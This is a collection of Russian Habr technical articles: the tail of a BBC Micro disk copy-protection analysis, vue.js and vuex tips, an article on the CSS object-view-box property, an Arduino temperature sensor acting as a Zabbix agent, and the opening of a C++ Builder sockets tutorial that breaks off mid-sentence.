BB1E32C3 > > Track 4 sectors 10 length 3127 fixups 1 CRC32 2EC84AF1 > > Track 5 sectors 10 length 3129 fixups 1 CRC32 58FD732B > > Track 6 sectors 10 length 3129 fixups 1 CRC32 43416F5A > > Track 7 sectors 10 length 3128 fixups 1 CRC32 B3D8AB10 > > Track 8 sectors 10 length 3128 fixups 1 CRC32 8D02AC32 > > Track 9 sectors 10 length 3127 fixups 1 CRC32 1F5ABD44 > > Track 10 sectors 10 length 3128 fixups 0 CRC32 D2B0A1EF > > [...]` Как мы видим, данные секторов (указанные в CRC32) дисков одинаковы, за исключением дорожки 9, на которой хранится таблица ожидаемых длин дорожек. А длины самих дорожек отличаются. В обоих случаях присутствуют колебания длин дорожек, а в случае второго диска дорожки чуть длиннее. Это значит, что привод, форматировавший диск, работал с чуть меньшим RPM, позволяя записать больше байтов за один оборот. Есть и второй способ подтверждения нашей теории. Я спросил у Саймона Хослера, написавшего в 1980-х много игр для Sherston Software, помнит ли он какие-нибудь подробности. Он рассказал следующее: > *«Western Security создавал не я, но думаю, она работала так… Она работала потому, что каждый привод дисков работает на своей скорости. Поэтому когда привод создаёт дорожку на диске, то после добавления всех заголовков, секторов и прочего, остаётся немного незаполненного пространства, куда он записывает немного „заполняющих“ битов, которые ничего не делают. Количество заполняющих битов зависит от точной скорости форматирующего привода. Поэтому при копировании оно будет отличаться. Помню, эта система доставляла много проблем, потому что приводы дисков постоянно менялись (?). [...] систему называли „Fingerprinting“»* Остаётся загадкой, как с созданием таких дисков мог справляться коммерческий дубликатор. Я нашёл отсылки к скрипту «Freeform» [[ссылка](http://www.softpres.org/glossary:trace_machine)], использовавшемуся совместно с дубликаторами Trace. Мне не удалось найти руководства по этому скриптовому языку. После деобфускации в памяти загрузчика остаются какие-то странные фрагменты, возможно они как-то с ним связаны? > `3F80: 54 70 00 41 44 44 20 20 20 20 20 72 00 4D 4F 56 Tp.ADD r.MOV > > 3F90: 45 54 4F 20 20 74 00 55 4E 49 54 20 20 20 20 75 ETO t.UNIT u > > 3FA0: 00 54 52 41 43 4B 20 20 20 76 00 53 45 43 54 4F .TRACK v.SECTO > > 3FB0: 52 20 20 77 00 54 4F 50 54 52 41 43 4B 78 00 55 R w.TOPTRACKx.U` Воссоздание защищённых дисков в стиле Western Security ------------------------------------------------------ У меня завалялась пара сильно отличающихся приводов дисков, поэтому я решил их попробовать. Я отформатировал диск в каждом приводе, затем посмотрел на длины дорожек (в байтах), считанных контроллером дисков WD1772 в реальном компьютере BBC Micro model B. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/27f/2de/639/27f2de639e53b4eec4af16f84e5ea6d6.jpg) *Первый претендент: мой привод Chinon F-051MD. Это более старый привод, всего с 40 дорожками и только односторонний. Механизм дверки с защёлкиванием позже вышел из моды (может, был менее надёжным?). Ещё один способ его датировки — крупный основной чип в стиле DIP. Это NEC D8048, который был клоном Intel 8048! (В нём есть ROM, который мне когда-нибудь ещё предстоит извлечь!)* ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/673/51d/029/67351d0297f3eb908b6d9f1e12072bda.png) *Второй претендент: не мой Mitsuibish MF504C, но довольно похожий. Гораздо более новый привод, с 80 дорожками и двухсторонний. Обратите внимание на более новые чипы, опрятную проводку и упрощённый механизм защёлкивания. Здесь этого не видно, но у него ещё и шаговый двигатель меньшего размера (следующее поколение?).* Длины дорожек с Chinon F-051MD: > `[...] > > Track 1 sectors 10 length 3137 fixups 1 CRC32 67F0950E > > Track 2 sectors 10 length 3138 fixups 1 CRC32 67F0950E > > Track 3 sectors 10 length 3138 fixups 1 CRC32 67F0950E > > Track 4 sectors 10 length 3139 fixups 1 CRC32 67F0950E > > Track 5 sectors 10 length 3138 fixups 1 CRC32 67F0950E > > Track 6 sectors 10 length 3140 fixups 1 CRC32 67F0950E > > Track 7 sectors 10 length 3140 fixups 1 CRC32 67F0950E > > Track 8 sectors 10 length 3139 fixups 1 CRC32 67F0950E > > Track 9 sectors 10 length 3140 fixups 1 CRC32 67F0950E > > Track 10 sectors 10 length 3140 fixups 1 CRC32 67F0950E > > [...]` Длины дорожек с Mitsubishi MF504C: > `[...] > > Track 1 sectors 10 length 3119 fixups 1 CRC32 67F0950E > > Track 2 sectors 10 length 3119 fixups 1 CRC32 67F0950E > > Track 3 sectors 10 length 3118 fixups 0 CRC32 67F0950E > > Track 4 sectors 10 length 3119 fixups 1 CRC32 67F0950E > > Track 5 sectors 10 length 3119 fixups 1 CRC32 67F0950E > > Track 6 sectors 10 length 3119 fixups 1 CRC32 67F0950E > > Track 7 sectors 10 length 3119 fixups 1 CRC32 67F0950E > > Track 8 sectors 10 length 3119 fixups 1 CRC32 67F0950E > > Track 9 sectors 10 length 3118 fixups 1 CRC32 67F0950E > > Track 10 sectors 10 length 3119 fixups 1 CRC32 67F0950E > > [...]` Эти два привода определённо имеют уникальные «отпечатки пальцев»! У более старого привода присутствует чуть больше вариативности/колебаний в длинах отдельных дорожек. На самом деле, похоже, что в последних секторах он может уместить больше байтов на дорожку — большинство последних дорожек имеет длину 3142. Кроме того, старый привод обычно может уместить 20 или чуть больше байтов на дорожку. Это означает, что он вращается чуть медленнее. Более новый привод работает как часы, с минимальными флуктуациями длин дорожек. Из-за этого он чуть меньше подходит для генерации уникальных для каждого диска «отпечатков пальцев», но копирование диска на домашнем компьютерном оборудовании всё равно будет сложным — в используемой машине должен быть установлен привод с точно такой же прецизионностью, и привод должен работать точно с такой же скоростью, что и при записи оригинального диска. В последний раз взглянем на длины дорожек, на этот раз с диска игры Phantom Combat компании Doctor Soft. В этом диске используется защита Western Security Ltd.: ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/455/467/908/455467908530424394b7311012df4567.jpg) *Ничто так не свидетельствует о слишком переусложнённой защите дисков, как наклейка с предупреждением о совместимости (слева посередине). На наклейке написано, что поддерживаются только ROM-ы дисков Acorn. К сожалению, ROM-ы дисков других компаний были распространены намного больше.* > `[...] > > Track 1 sectors 10 length 3152 fixups 0 CRC32 67F0950E > > Track 2 sectors 10 length 3152 fixups 1 CRC32 67F0950E > > Track 3 sectors 10 length 3152 fixups 0 CRC32 67F0950E > > Track 4 sectors 10 length 3152 fixups 1 CRC32 67F0950E > > Track 5 sectors 10 length 3151 fixups 0 CRC32 67F0950E > > Track 6 sectors 10 length 3152 fixups 0 CRC32 67F0950E > > Track 7 sectors 10 length 3150 fixups 0 CRC32 67F0950E > > Track 8 sectors 10 length 3151 fixups 0 CRC32 67F0950E > > [...]` Это и есть защита диска, скрытая под самым нашим носом. Это 8 защищённых дорожек, которые на самом деле являются дорожками с совершенно стандартным форматированием (CRC32 67F0950E). В них правильное количество секторов и там нет удалённых секторов. Программа discbeast отобразит эти дорожки сплошным зелёным цветом, то есть скажет, что ничего необычного в них нет! Длина дорожек немного колеблется, а кроме того, дорожки необычно длинные (в идеале их длина составляет 3125 байтов). Не совсем понятно, намеренно ли дорожки записывались чуть длиннее, но это определённо помогает защите дисков. Любой привод дисков, который будут использовать для воссоздания этих дорожек, вряд ли будет вращаться с такой скоростью, потому что она на 0,8% медленнее, а технология двигателей приводов дисков обычно даёт результаты лучше. Интересно заметить, что простая защита длинными дорожками является всего лишь ещё одним вариантом в схеме Western Security. Вероятно, этот диск записывался на самом BBC Micro, а не на какой-то сложной машине для дублирования: об этом говорит отсутствие маркеров дубликаторов; кроме того, секторы данных игры свидетельствуют, что их записывали посекторно, а не по дорожкам. Кто знает, возможно разработчики намеренно стремились найти медленный привод; у некоторых старых приводов даже есть крутящийся регулируемый резистор для изменения скорости двигателя. Заключение ---------- В статье мы рассмотрели самую мощную схему защиты дисков BBC Micro model B среди всех, найденных мной в процессе изучения большинства дисков с защитой от копирования, выпущенных для этой машины. Очень хитро, что для создания или считывания диска не требуется специализированного оборудования. Однако с дублированием диска возникнут проблемы. Подозреваю, что даже современное оборудование, например, Greaseweazle, будет испытывать проблемы с достижением побайтовой точности; необходимо дополнить его высококачественным приводом дисков, вращающимся с очень стабильной скоростью (например, моим Mitsubishi MF504C). Я снова поговорил с Саймоном, и насколько он знает, защиту реализовал Джордж Килинг, с которым бы я хотел связаться только затем, чтобы похвалить его за потрясающую работу.
https://habr.com/ru/post/533610/
null
ru
null
# 5 приемов в помощь разработке на vue.js + vuex Недавно решил разобраться с [vue.js](https://vuejs.org/). Лучший способ изучить технологию — что-нибудь на ней написать. С этой целью был переписан мой [старый планировщик маршрутов](https://github.com/Kasheftin/RoutePlanner), и получился [**вот такой проект**](https://github.com/Kasheftin/route-planner-vue). Код получился достаточно большим для того, чтобы столкнуться с задачей масштабирования. В этой статье приведу ряд приемов, которые, на мой взгляд, помогут в разработке любого крупного проекта. Этот материал для вас, если вы уже написали свой todo лист на vue.js+vuex, но еще не зарылись в крупное велосипедостроение. ![](https://habrastorage.org/r/w1560/web/314/6e7/c9a/3146e7c9a4dc4c9b9236952ae5f4d45a.png) ### 1. Централизованная шина событий (Event Bus) Любой проект на vue.js состоит из вложенных компонентов. Основной принцип — props down, events up. Подкомпонент получает от родителя данные, которые он не может менять, и список событий родителя, которые он может запустить. Принцип годный, но создает сильную связность. Если целевой компонент глубоко вложен, приходится протаскивать данные и события через все обертки. Разберемся с событиями. Зачастую полезно иметь глобальный event emitter, с которым может общаться любой компонент независимо от иерархии. Его очень легко сделать, дополнительные библиотеки не нужны: ``` Object.defineProperty(Vue.prototype,"$bus",{ get: function() { return this.$root.bus; } }); new Vue({ el: '#app', data: { bus: new Vue({}) // Here we bind our event bus to our $root Vue model. } }); ``` После этого в любом компоненте появляется доступ к this.$bus, можно подписываться на события через this.$bus.$on() и вызывать их через this.$bus.$emit(). Вот [пример](https://jsfiddle.net/g8Lqv0rx/10/). Очень важно понимать, что this.$bus — глобальный объект на все приложение. Если забывать отписываться, компоненты остаются в памяти этого объекта. Поэтому на каждый this.$bus.$on в mounted должен быть соответствующий this.$bus.$off в beforeDestroy. Например, так: ``` mounted: function() { this._someEvent = (..) => { .. } this._otherEvent = (..) => { .. } this.$bus.$on("someEvent",this._someEvent); this.$bus.$on("otherEvent",this._otherEvent); }, beforeDestroy: function() { this._someEvent && this.$bus.$off("someEvent",this._someEvent); this._otherEvent && this.$bus.$off("otherEvent",this._otherEvent); } ``` ### 2. Централизованная шина промисов (Promises Bus) Иногда в компоненте нужно инициализировать некую асинхронную штуку (например, инстанц google maps), к которой хочется обращаться из других компонентов. Для этого можно организовать объект, который будет хранить промисы. Например, [такой](https://github.com/Kasheftin/route-planner-vue/blob/master/src/utils/PromisesBus.js). Как и в случае в event bus, не забываем удаляться при деинициализации компонента. И вообще, указанным выше способом к vue можно прицепить любой внешний объект с любой логикой. ### 3. Плоские структуры (flatten store) В сложном проекте данные зачастую сильно вложены. Работать с такими данными неудобно как в vuex, так и в redux. Рекомендуется уменьшать вложенность, например, воспользовавшись утилитой [normalizr](https://github.com/paularmstrong/normalizr). Утилита — это хорошо, но еще лучше понимать, что она делает. Я не сразу пришел к пониманию плоской структуры, для таких же типа себя рассмотрю подробный пример. Имеем проекты, в каждом — массив слоев, в каждом слое — массив страниц: projects > layers > pages. Как организовать хранилище? Первое, что приходит в голову — обычная вложенная структура: ``` projects: [{ id: 1, layers: [{ id: 1, pages: [{ id: 1, name: "page1" },{ id: 2, name: "page2" }] }] }]; ``` Такую структуру легко читать, легко бегать циклом foreach по проектам, рендерить подкомпоненты со списками слоев и так далее. Но предположим, что нужно поменять название страницы с id:1. Внутри некоторого маленького компонента, который отрисовывает страницу, вызывается $store.dispatch(«changePageName»,{id:1,name:«new name»}). Как найти место, где в этой глубоко вложенной структуре лежит нужный page с id:1? Пробегать по всему хранилищу? Не лучшее решение. Можно указывать полный путь, типа ``` $store.dispatch("changePageName",{projectId:1,layerId:1,id:1,name:"new name"}) ``` Но это значит, что в каждый маленький компонент рендеринга страницы нужно протаскивать всю иерархию, и projectId, и layerId. Неудобно. Вторая попытка, из sql: ``` projects: [{id:1}], layers: [{id:1,projectId:1}], pages: [{ id: 1, name: "page1", layerId: 1, projectId: 1 },{ id: 2, name: "page2", layerId: 1, projectId: 1 }] ``` Теперь данные легко менять. Но тяжело бегать. Чтобы вывести все страницы в одном слое, нужно пробежать по вообще всем страницам. Это может быть спрятано в getter-е, или в рендеринге шаблона, но пробежка все равно будет. Третья попытка, подход normalizr: ``` projects: [{ id: 1, layersIds: [1] }], layers: { 1: { pagesIds: [1,2] } }, pages: { 1: {name:"page1"}, 2: {name:"page2"} } ``` Теперь все страницы слоя могут быть получены через тривиальный геттер ``` layerPages: (state,getters) => (layerId) => { const layer = state.layers[layerId]; if (!layer || !layer.pagesIds || layer.pagesIds.length==0) return []; return layer.pagesIds.map(pageId => state.pages[pageId]); } ``` Заметим, что геттер не бегает по списку всех страниц. Данные легко менять. Порядок страниц в слое задан в объекте layer, и это тоже правильно, поскольку процедура пересортировки как правило находится в компоненте, который выводит список объектов, в нашем случае это компонент, который рендерит layer. ### 4. Мутации не нужны Согласно правилам vuex, изменения данных хранилища должны происходить только в функциях-мутациях, мутации должны быть синхронными. В vuex находится основная логика приложения. Поэтому блок валидации данных тоже будет логичным включить в хранилище. Но валидация далеко не всегда синхронна. Следовательно, по крайней мере часть валидационной логики будет находится не в мутациях, а в действиях (actions). Предлагаю не разбивать логику, и хранить в actions вообще всю валидацию. Мутации становятся примитивными, состоят из элементарных присваиваний. Но тогда к ним нельзя обращаться напрямую из приложения. Т.е. мутации — некая утилитарная штука внутри хранилища, которая полезна разве что для vuex-дебаггера. Общение приложения с хранилищем происходит через исключительно действия. В моем приложении любое действие, даже синхронное, всегда возвращает промис. Мне кажется, что заведомо считать все действия асинхронными (и работать с ними как с промисами) проще, чем помнить что есть что. ### 5. Ограничение реактивности Иногда бывает, что данные в хранилище не меняются. Например, это могут быть результаты поиска объектов на карте, запрошенные из внешнего api. Каждый результат — это сложный объект с множеством полей и методов. Нужно выводить список результатов. Нужна реактивность списка. Но данные внутри самих объектов постоянны, и незачем отслеживать изменение каждого свойства. Чтобы ограничить реактивность, можно использовать Object.freeze. Но я предпочитаю более тупой метод: пусть state хранит только список id-шников, а сами результаты лежат рядом в массиве. Типа: ``` const results = {}; const state = {resultIds:[]}; const getters = { results: function(state) { return _.map(state.resultsIds,id => results[id]); } } const mutations = { updateResults: function(state,data) { const new = {}; const newIds = []; data.forEach(r => { new[r.id] = r; newIds.push(r.id); }); results = new; state.resultsIds = newIds; } } ``` ### Вопросы Кое-что у меня получилось не настолько красиво, как хотелось. Вот мои вопросы к сообществу: — Как победить css анимации сложнее изменения opacity? Часто хочется анимировать появление какого-то блока неизвестных размеров, т.е. изменить его высоту с height: 0 до height: auto. Это легко решается с javascript — просто оборачиваем в контейнер с overflow: hidden, смотрим высоту обернутого элемента и анимируем высоту контейнера. Это можно решить через css? — Ищу нормальный способ работы с иконками в webpack, пока безуспешно (поэтому продолжаю пользоваться fontello). Нравятся иконки [whhg](http://www.webhostinghub.com/glyphs/). Вытащил svg, разбил на файлы. Хочу выбрать несколько файлов и автоматически собирать в inline шрифт + классы на основе названий файлов. Чем это можно делать?
https://habr.com/ru/post/332628/
null
ru
null
# Первый взгляд на CSS свойство object-view-box Эта статья — перевод оригинальной статьи Ahmad Shadeed "[First Look At The CSS object-view-box Property](https://ishadeed.com/article/css-object-view-box/)" Также я веду телеграм канал “[Frontend по-флотски](https://t.me/frontend_pasta)”, где рассказываю про интересные вещи из мира разработки интерфейсов. Вступление ---------- Я всегда хотел, чтобы CSS умел обрезать изображение и размещать его в любом нужном мне направлении. Это стало возможным благодаря использованию дополнительного элемента HTML в сочетании с различными свойствами CSS, которые я объясню позже. В этой статье я познакомлю вас с новым CSS свойством object-view-box, предложенным [Джейком Арчибальдом](https://github.com/WICG/shared-element-transitions/issues/120) в начале этого года. Это позволяет нам обрезать или изменять размер HTML-элементов, таких как ![]() или . Проблема -------- В следующем примере у нас есть изображение, которое нужно обрезать. Обратите внимание, что нам нужна только определенная часть этого изображения. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/7e5/77b/84a/7e577b84a80cff0ad51fe5330ad28720.png)В настоящее время мы можем решить это одним из следующих способов: * Использование ![]() и его обёртывание в дополнительный элемент. * Добавления изображения через background-image и изменение положения и размера. Обертывание дополнительным элементом ------------------------------------ Это распространенное решение этой проблемы, вот как это происходит: * Обернул изображение в другой элемент (в нашем случае ). * Добавил `position: relative` и `overflow: hidden`. * Добавил `position: absolute` для изображения и поиграл со значениями позиционирования и размера для достижения результата. ``` ![](img/brownies.jpg) ``` ``` figure { position: relative; width: 300px; aspect-ratio: 1; overflow: hidden; border-radius: 15px; } img { position: absolute; left: -23%; top: 0; right: 0; bottom: 0; width: 180%; height: 100%; object-fit: cover; } ``` Применение изображения в качестве фона -------------------------------------- В этом решении мы используем тег и добавляем ему свойство `background-image`, затем изменяем значения положения и размера. ``` .brownies { width: 300px; aspect-ratio: 3 / 2; background-image: url("brownies.jpg"); background-size: 700px auto; background-position: 77% 68%; background-repeat: no-repeat; } ``` Это прекрасно работает, но что, если мы хотим применить вышеописанное к тегу ![]()? Ну, это то, что касается `object-view-box`. Представляем Object-View-Box ---------------------------- Я был заинтригован, когда увидел, что свойство object-view-box может быть добавлено в [Chrome 104](https://groups.google.com/a/chromium.org/g/blink-dev/c/-s-nu3A-qAo/m/YYlxSLKkAgAJ). Теперь оно доступно в Chrome canary. Обращаясь к [CSS спецификации](https://drafts.csswg.org/css-images-4/#the-object-view-box): Свойство object-view-box определяет «view box» над элементом, аналогичное атрибуту , масштабирование или панорамирование содержимого элемента. Свойство принимает значение basic-shape-rect, оно может иметь значения inset() | rect() | . Для демонстрации в этой статье я сосредоточусь на использовании inset(). Вернемся к проблеме. С помощью object-view-box мы сможем использовать inset для рисования прямоугольника с четырех сторон (сверху, справа, снизу, слева), а затем применить object-fit: cover, чтобы избежать искажений. ``` ![](img/brownies.jpg) ``` ``` img { aspect-ratio: 1; width: 300px; object-view-box: inset(25% 20% 15% 0%); } ``` Как это вообще работает? Не волнуйтесь, я объясню все ниже. Исходный размер изображения --------------------------- Исходный размер — это ширина и высота изображения по умолчанию. Изображение, с которым я имею дело, имеет размер 1194 × 1194 пикселей. ``` img { aspect-ratio: 1; width: 300px; } ``` С помощью приведенного выше CSS размер отображаемого изображения будет 300 × 300 пикселей. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/3cd/911/52a/3cd91152a1f96b9a18f9ecb368f5d8e4.png)Наша цель — нарисовать прямоугольник на исходном изображении. Для этого мы будем использовать значение inset(). #### Применение значения inset Значение inset() будет основано на исходной ширине и высоте изображения, в результате чего изображение будет обрезано. Это поможет нам в рисовании вложенного прямоугольника и управлении четырьмя краями, аналогично работе с полями или отступами. Значение inset определяет прямоугольник. Мы можем управлять четырьмя ребрами точно так же, как мы имеем дело с полями или отступами. В следующем примере .card имеет inset в 20 пикселей со всех краев. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1fd/ded/923/1fdded923fc9895f9dd0583902fd35c0.png)Вернемся к CSS для object-view-box. ``` img { aspect-ratio: 1; width: 300px; object-view-box: inset(25% 20% 15% 0%); } ``` Вот как вышеизложенное выглядит за кадром. Значения 25%, 20%, 15% и 0% соответствуют верхнему, правому, нижнему и левому краю соответственно. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b50/2c4/5cd/b502c45cd180134863a6242ed41ef097.png)Исправляем искажение изображения -------------------------------- Если размер изображения квадратный, результат обрезки будет искажен. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/714/894/5cb/7148945cb72a2b747088cc6483eabc1c.png)Это может быть легко реализовано с помощью хорошо поддерживаемого свойства object-fit. ``` img { aspect-ratio: 1; width: 300px; object-view-box: inset(25% 20% 15% 0%); object-fit: cover; } ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/90b/976/76b/90b97676b33fcf474cdcaafb468121c7.png)Вот и все. Разве это не круто? Возможность оформления изображения может быть очень полезна для адаптивного дизайна или даже для демонстрации различных частей изображения. Увеличение или уменьшение масштаба ---------------------------------- Мы можем использовать inset для увеличения или уменьшения изображения. Согласно моим тестам, переход или анимация не будут работать с object-view-box. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/faf/5ea/31c/faf5ea31c118323bb6e94425605cd781.png)Мы также можем уменьшить масштаб с отрицательным значением вставки. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/851/ca9/6db/851ca96dbe327f364eb35e6bbaa78893.png)Представьте, как это будет полезно для возможности масштабирования изображения, не оборачивая его в дополнительный элемент. Демо ---- Вот демо, которое вы можете протестировать в Chrome Canary уже сегодня. Обязательно включите флаг «Экспериментальные функции веб-платформы». [Ссылка на Демо](https://codepen.io/shadeed/pen/yLvXJRd) Заключение ---------- Я так заинтригован другими потенциальными вариантами использования этой новой функции. Это был быстрый первый взгляд, и я вернусь позже с новыми исследованиями.
https://habr.com/ru/post/667386/
null
ru
null
# Бюджетный мониторинг температуры: Arduino + Zabbix У нас в организации развёрнут сервер Zabbix для мониторинга работоспособности серверов и АРМов. Из-за особенностей техпроцесса оборудование «размазано» по нескольким помещениям и разнесено по территории предприятия. Естественно, вместе с основными параметрами компьютеров (работает/не работает) хочется контролировать и микроклимат в серверных. При этом, как обычно, возможности весьма ограничены, и «выбить» значительные средства на сложные системы мониторинга температуры (к ним я отношу и платы управления с термодатчиками для стоечных ИБП APC) — это отдельный квест. В основной серверной всё просто — установлена одна такая плата (закуплена давным-давно предшественником вместе с основным оборудованием), воткнут APC-шный термодатчик, заведён агент в Заббиксе, всё работает по SNMP. Скучно :) На мониторинг удалённой аппаратной оборудования нет, средств тоже — см. выше. Поэтому было решено проявить смекалку, сэкономить бюджет и заодно прокачать новый навык путём конструирования простого и дешёвого «наколенного» решения, вписывающегося, тем не менее, в существующую инфраструктуру мониторинга Zabbix. Необходимые компоненты: * Основа системы — [Arduino Nano V3](https://www.aliexpress.com/store/product/2pcs-Nano-3-0-Mini-USB-ATmega328-5V-16M-Micro-controller-Board-CH340G-For-Arduino-NEW/2130127_32647766441.html) * [Модуль локальной сети](https://www.aliexpress.com/item/ENC28J60-Ethernet-Shield-For-Arduino-Nano-V3-0-RJ45-Webserver-Module-S/32659785447.html) (ethernet-shield) * И, собственно, цифровой [датчик температуры](https://www.aliexpress.com/item/New-Waterproof-Digital-Thermal-Probe-temperature-Sensor-DS18B20-cable-Length-1M/32653571058.html) на базе DS18B20 Общая стоимость компонентов — $10 с доставкой. Сборка устройства не составляет труда. Сетевой модуль надевается на основную плату «бутербродом», термодатчик припаивается к его пинам. Подключение датчика: красный +5 В, чёрный — земля, жёлтый — данные; между +5V и Data припаиваем подтягивающий резистор 4,7 кОм. Пин для данных выбирается с учётом пинов, используемых сетевым модулем (D10 – SS; D11 – MOSI; D12 – MISO; D13 – SCK; D2 – IRQ). *Грабли: в прототипе устройства столкнулся с конфликтом — данные о температуре выдавались случайным образом, «через два на третий». Причиной оказалось то, что я прицепил термодатчик на пин 2, который, как потом [нашёл](https://arduino-kit.ru/catalog/id/modul-mini-veb-servera-enc28j60-ethernet-dlya-arduino-nano-v3.0) на просторах интернета, используется сетевым модулем для генерации прерывания при поступлении пакета. Переставил на 4-й — заработало как часы.* После сборки аппаратной части переходим к программной. Устройство будет работать в сети и притворяться заббикс-агентом, для этого ему нужен MAC и IP-адрес. Решаем, как удобнее — жёстко зашить при программировании, генерировать [MAC из адреса температурного датчика](https://www.freetronics.com.au/pages/setting-arduino-ethernet-mac-addresses-using-a-ds18b20) и получать IP по DHCP, и т.д. Я пошёл по простейшему пути и захардкодил оба параметра. Протокол обмена с заббикс-сервером [описан](https://www.zabbix.com/documentation/3.2/manual/appendix/items/activepassive) в [документации](http://zabbix.org/wiki/Docs/protocols/zabbix_agent/3.2). Наше устройство будет откликаться на две команды — *agent.ping* и *env.temp* (здесь оставлен простор для дальнейшего творчества, можно привязать любой из модулей расширения, доступных для ардуино — хоть датчик влажности, хоть освещённости — да что душе угодно). На все остальные команды оно будет ~~ругаться~~ отвечать стандартным ответом, понятным заббикс-серверу. Для тех, кто начинает с нуля (как я) — программирование Arduino выполняется с помощью [Arduino IDE](https://www.arduino.cc/en/Main/Software), установка и настройка которой элементарны. Для работы компонентов необходимы библиотеки UIPEthernet и OneWire, которые устанавливаются и подключаются к проекту через меню Скетч — Подключить библиотеку — Управлять библиотеками… *Если у вас будут другие компоненты (например, сетевой модуль не на enc28j60, а на другом чипе) — понадобятся и другие библиотеки!* Код работы с сетевым модулем и с датчиком температуры — типовой, из интернета, с некоторыми допущениями и упрощениями. После заливки кода в контроллер и подключения ethernet-кабеля проверяем из консоли: ``` $ zabbix_get -s 192.168.4.5 -k agent.ping 1 $ zabbix_get -s 192.168.4.5 -k env.temp 23.12 $ zabbix_get -s 192.168.4.5 -k bla-blah ZBX_NOTSUPPORTED ``` *Грабли: выложенная на zabbix.com скомпилированная версия zabbix\_get для Windows устарела и использует другой протокол (с заголовком ZBXD\x01 в запросе сервера). Линуксовая версия актуальна и протокол соответствует приведенному коду.* Всё работает, как и задумано. В админке заббикса создаём новый хост с выбранным IP, в нём — два ключа, Numeric (unsigned) agent.ping и Numeric (float) env.temp, наслаждаемся работой. Графики, триггеры — всё как обычно. Питание устройства — через родной USB. Корпус — по желанию: подходящая пластиковая коробочка, термоусадка, синяя изолента. Разрешение датчика — примерно 0.06 (точнее, 1/16) °С, точность — при погружении в таящий снег показал 0.19 °С (может, опустился бы и ниже, но снега было мало и он весь быстро растаял). Считаю, для устройства стоимостью 10 долларов и описанных целей — более чем достаточно. **Скетч** ``` #include #include byte mac[] = { 0xDE, 0x05, 0xB6, 0x27, 0x39, 0x19 }; // random MAC byte ip[] = { 192, 168, 4, 5 }; // IP address in local network String readString = String(20); byte addr[8]; OneWire ds(4); // DS18B20 at pin 4 EthernetServer server(10050); // Zabbix port void setup() { Ethernet.begin(mac, ip); server.begin(); ds.search(addr); } void loop() { byte data[2]; float celsius; readString = ""; if (EthernetClient client = server.available()) { while (client.connected()) { if (client.available()) { char c = client.read(); if (c == '\n') // end of query from zabbix server { client.print("ZBXD\x01"); // response header if (readString == "agent.ping") { byte responseBytes [] = {0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, '1'}; client.write(responseBytes, 9); } else if (readString == "env.temp") { ds.reset(); ds.select(addr); ds.write(0x44); // start conversion with regular (non-parasite!) power delay(1000); ds.reset(); ds.select(addr); ds.write(0xBE); // read Scratchpad data[0] = ds.read(); data[1] = ds.read(); int16\_t raw = (data[1] << 8) | data[0]; celsius = (float)raw / 16.0; byte responseBytes [] = {(byte) String(celsius).length(), 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; client.write(responseBytes, 8); client.print(celsius); } else { byte responseBytes [] = {0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; client.write(responseBytes, 8); client.print("ZBX\_NOTSUPPORTED"); } break; } else if (readString.length() < 20) { readString = readString + c; } } } delay(10); client.stop(); } } ``` UPD: В связи с незначительными изменениями протокола Zabbix, данный скетч не работает. [Исправленная версия на Google Drive](https://drive.google.com/open?id=1hshR8SMlhj_VxjVVvbiEulHhddIbnkhc) (поддерживает новый протокол, получает IP-адрес по DHCP).
https://habr.com/ru/post/405077/
null
ru
null
# Программирование сетевых приложений на языке C++ Доброго времени суток! Я хочу поделиться с вами опытом, накопленным за несколько месяцев работы над данной темой. Сейчас сетевые игры и приложения продолжают набирать популярность, а вместе с тем возрастает число желающих написать свою собственную программу, работающую с сетью. Началось всё с того, что мне необходимо было написать обычный чат на языке C++. Естественно, нужно было найти способ попроще, при этом не потратив много времени. Среда C++ Builder предоставляет несколько вариантов написания сетевых приложений: 1. Использовать библиотеку winsock.h (библиотека Windows Sockets) Данный способ хорош тем, что он универсален, и это является безусловным плюсом. Но если вы выбрали данный способ, будьте готовы к тому, что вам придётся копаться в WinAPI и создавать потоки, а это не каждому под силу. Поэтому данный способ не сильно подходит в ситуации, когда времени на написание готовой программы не так уж и много. 2. Использовать компоненты Indy Если вы будете использовать этот способ, будьте готовы испытать его один серьёзный минус — слабая переносимость. Компоненты очень серьёзно зависят от версии библиотеки, а с каждой новой версии программной среды поставляется новая версия библиотеки Indy, в которой добавляются или перерабатываются новые свойства и методы компонент. И этот способ я тоже быстро отсёк, потому что хотелось найти нечто более универсальное. 3. Использовать компоненты TcpServer и TcpClient Лично я пытался соорудить чат на этих компонентах, но так ничего и не вышло. Надеюсь, что у вас, уважаемые хабраюзеры, был успешный опыт использования данных компонент. 4. Использовать компоненты ServerSocket и ClientSocket Фундаментально эти компоненты основаны на Windows Sockets, только здесь вам не придётся возиться с WinAPI. Всё сводится к тому, чтобы грамотно использовать свойства и методы этих компонент. Этот способ экономит достаточно времени, и поэтому для ситуаций, когда нужен результат за короткое время, он подходит идеально. Итак, пару слов о этих компонентах. Находятся они на вкладке «Internet» палитры компонент в C++ Builder 6. В поздних версиях данной программной среды разработчики убрали рассматриваемые компоненты с этой палитры, но в стандартной комплектации поставляется пакет установки (в C++ Builder 2010 — файл dclsockets140.bpl: имя файла в разных версиях может отличаться только последней цифрой), который нужно будет установить через настройки проекта (меню «Project» -> «Options» -> «Packages» -> кнопка «Add…»). После установки указанного пакета компоненты появятся на палитре во вкладке «Internet». ServerSocket и ClientSocket могут работать в двух режимах: блокирующем и асинхронном. Отличия в том, что при блокирующем режиме программа-сервер приостановит свою работу до тех пор, пока не подключится новый клиент, а каждый клиент обслуживается в отдельном потоке. Поэтому оптимальнее выбрать асинхронный режим, в котором программа-сервер будет спокойно продолжать работу, не дожидаясь очередного клиента. Для того, чтобы создать сервер, в компоненте ServerSocket достаточно лишь указать порт, который будет использоваться. Это целое число от 0 до 65535. После этого 